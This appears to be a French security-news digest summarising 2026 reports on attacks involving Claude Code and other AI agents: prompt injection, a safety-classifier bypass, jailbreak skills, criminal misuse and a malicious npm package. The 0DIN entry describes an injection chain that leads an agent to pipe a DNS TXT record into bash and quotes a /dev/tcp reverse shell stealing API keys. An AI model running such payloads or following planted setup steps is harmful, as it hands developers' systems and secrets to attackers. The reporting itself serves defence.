Claude Code

🔍 Contexte Publié le 19/09/2026 sur GitHub (S3cur3Th1sSh1t/claudemessaging), ce dépôt de recherche documente en détail le protocole de messagerie inter-sessions de Claude Code, l’outil d’IA d’Anthropic. Il cartographie les quatre couches de défense du système, identifie plusieurs observations comportementales et publie un outil offensif nommé ccforge.py. 🏗️ Architecture du système de messagerie Claude Code permet à des sessions sur la même machine de communiquer via : Named pipes Windows : \\<host>\pipe\LOCAL\cc-msg-<hash> Unix sockets Linux/macOS : /run/user/<uid>/cc-socks/<pid>.sock et /tmp/cc-socks-<uid>/<pid>.sock Le modèle de confiance repose sur quatre couches : ...

🔍 Contexte Publié le 26 août 2026 sur le blog Embrace The Red (wunderwuzzi), cet article présente une recherche offensive ciblant Claude Code Opus 5 en Auto Mode, le nouveau mode par défaut depuis mi-août 2026 qui remplace les invites d’approbation humaine par un classificateur de sécurité. 🎯 Contexte de la vulnérabilité Anthropic avait publié des résultats d’évaluation (via Trajectory Labs) montrant un taux de succès d’attaque de 0,00% pour 72 scénarios d’injection de prompt indirecte testés 10 fois chacun. Le chercheur démontre que cette métrique est trompeuse car sa chaîne d’attaque n’était pas dans le benchmark. ...

📅 Source et contexte : Rapport publié le 18 août 2026 par Gambit Security (Eyal Sela et Nir Varon). L’article présente trois cas d’usage réel de l’IA dans des intrusions cybercriminelles, documentés à partir de données récupérées sur les infrastructures des attaquants. 🎯 Cas 1 – Affilié ransomware suspecté « The Gentlemen » utilisant Claude Code Fin juin 2026, un opérateur ransomware a utilisé Claude Sonnet 4.6 (via Claude Code) lors d’intrusions dans six organisations : une entreprise d’énergie en Australie, une société de services financiers à Maurice, une entreprise agroalimentaire en Afrique du Sud, un fabricant en Thaïlande, une société IT en Malaisie, et plusieurs entreprises aux États-Unis. ...

🔍 Contexte Publié le 30 juillet 2026 par Unit 42 (Palo Alto Networks), ce rapport documente une campagne offensive autonome pilotée par intelligence artificielle, attribuée à un acteur sinophone opérant sous les alias knaithe et KnYuan, basé à Zhuhai, Chine. 🤖 Infrastructure offensive IA L’acteur a déployé DeepSeek comme moteur de raisonnement au sein du framework Hermes Agent (NousResearch), configuré avec des compétences offensives personnalisées : godmode : jailbreaking LLM web-terminal-exploitation : exploitation WebSocket non authentifiée fofa-cyberspace-search : énumération d’actifs via FOFA L’orchestration s’effectuait via Telegram (C2). L’acteur a également testé Claude Code, Codex (GPT-5.4), Qwen Code, GLM, Kimi et MiniMax, routant les outils occidentaux via un proxy tiers (code.newcli[.]com) pour réduire la traçabilité. ...

🔍 Contexte : Le 30 juin 2026, un chercheur du blog Thereallo a publié une analyse technique de Claude Code (version 2.1.196), l’agent de codage d’Anthropic, dans le cadre d’un audit de confidentialité personnel. 🧩 Découverte principale : Le binaire de Claude Code contient une fonction qui modifie silencieusement le system prompt envoyé au modèle en substituant l’apostrophe du mot “Today’s” par différents caractères Unicode visuellement identiques (', ’, ʼ, ʹ) et en changeant le séparateur de date (- → /). Cette technique est qualifiée de stéganographie de prompt. ...

🔍 Contexte Publié le 25 juin 2026 par Andre Hall & Miller Engelbrecht sur le blog de 0DIN (plateforme de bug bounty IA de Mozilla), cet article présente une démonstration technique d’une attaque par injection de prompt indirecte ciblant les outils de développement agentiques, en particulier Claude Code d’Anthropic. ⚙️ Mécanisme de l’attaque L’attaque repose sur trois composants enchaînés, chacun individuellement bénin : Un dépôt GitHub normal : un fichier README ou issue décrit une procédure d’initialisation standard (pip3 install -r requirements.txt puis python3 -m axiom init). Un package Python qui échoue intentionnellement : le module axiom lève une RuntimeError s’il n’est pas initialisé, incitant l’agent à exécuter python3 -m axiom init comme correction de routine. Un script d’initialisation qui résout un enregistrement DNS TXT : scripts/setup.sh exécute dig +short TXT _axiom-config.m100.cloud @1.1.1.1 et passe le résultat à bash -c. L’enregistrement DNS contient un reverse shell encodé en base64 (bash -i >& /dev/tcp/<attacker-host>/4443 0>&1). 💥 Impact Shell interactif s’exécutant avec les droits de l’utilisateur développeur Exfiltration de secrets d’environnement : ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN Possibilité de persistance (clé SSH, cron job, backdoor) Le payload est invisible : absent du dépôt, non détectable par les scanners statiques, jamais évalué par l’agent avant exécution Le payload peut être modifié à tout moment en éditant l’enregistrement DNS, sans aucun commit 🎯 Vecteur de diffusion Un simple lien vers le dépôt partagé dans une offre d’emploi, un tutoriel ou un message Slack suffit à compromettre tout développeur ouvrant le projet avec Claude Code. ...

🎯 Contexte Analyse publiée le 20 juin 2026 par SafeDep sur la découverte d’un package npm malveillant @withgoogle/stitch-sdk (versions v0.1.1 et v0.1.2), conçu pour imiter le SDK officiel de Google Stitch AI (@google/stitch-sdk, 30 000+ téléchargements hebdomadaires). 🔍 Technique d’attaque : Scope Squatting L’attaquant a exploité le fait que npm ne vérifie pas les marques déposées lors de l’enregistrement de scopes. Le produit Google est accessible via stitch.withgoogle.com, mais son scope npm officiel est @google. L’attaquant a enregistré le scope @withgoogle (premier arrivé, premier servi) et publié un package avec le même nom de base que le SDK légitime, avec des numéros de version identiques (0.1.1, 0.1.2). ...

🔍 Contexte Publié le 16 juin 2026 par OALABS (OpenAnalysis), cet article présente une analyse forensique inédite de plus de 1 000 sessions d’agents IA récupérées sur un serveur compromis ayant servi de pivot à un attaquant. La source primaire est le répertoire de travail de l’attaquant, copié avant nettoyage du serveur. 🧩 Vecteur initial et chaîne de compromission L’attaquant a volé une instance Claude Code appartenant à un développeur tchèque hébergée sur un serveur Hetzner. Ce développeur avait des pratiques de sécurité défaillantes (credentials collés dans les prompts, services exposés sur internet, mots de passe simples). Le 2 février 2026, le serveur du développeur est compromis ; le 16 février 2026, l’intégralité de l’instance Claude (avec tout l’historique de sessions) est copiée sur un hôte Vultr contrôlé par l’attaquant. ...

🗓️ Contexte Publié le 3 juin 2026 par Anthropic (Kyla Guru, Alex Moix, Jacob Klein), ce rapport analyse 832 comptes bannis de la plateforme Claude entre mars 2025 et mars 2026 pour violation de la politique d’utilisation liée à des activités cyber malveillantes. Les résultats ont partiellement alimenté le Verizon Data Breach Investigation Report (DBIR) 2026. 📊 Méthodologie 13 873 observations d’activités malveillantes mappées sur le framework MITRE ATT&CK V18 482 sous-techniques uniques couvrant les 14 tactiques ATT&CK Nouveau score de risque : ARiES (AI Risk Enablement Score), composite de 0 à 100 basé sur trois dimensions : Threat (0–35), Vulnerability (0–35), Impact (0–30) Données collectées via Claude.ai, Claude Code et l’API Anthropic 🔑 Résultats clés 1. Croissance du risque : ...

📰 Source : BBC News, publié le 27 mai 2026. Article de presse généraliste couvrant la compétition Pwn2Own Berlin 2026 et les implications de l’IA sur la recherche en vulnérabilités. 🏆 Contexte compétitif La compétition Pwn2Own, organisée par la ZeroDay Initiative, a récompensé des hackers éthiques à Berlin. Près de 1,3 million de dollars ont été distribués pour 47 nouvelles méthodes de hacking découvertes sur divers logiciels et systèmes. La hackeuse Valentina Palmiotti (alias Chompie), chercheuse en sécurité chez IBM X-Force, a remporté 20 000 $ pour un hack lié à Nvidia et 50 000 $ pour une intrusion sur un système Linux. Le hacker Orange Tsai (Taiwan) a mené son équipe à gagner 375 000 $ grâce à des chemins d’attaque complexes. ...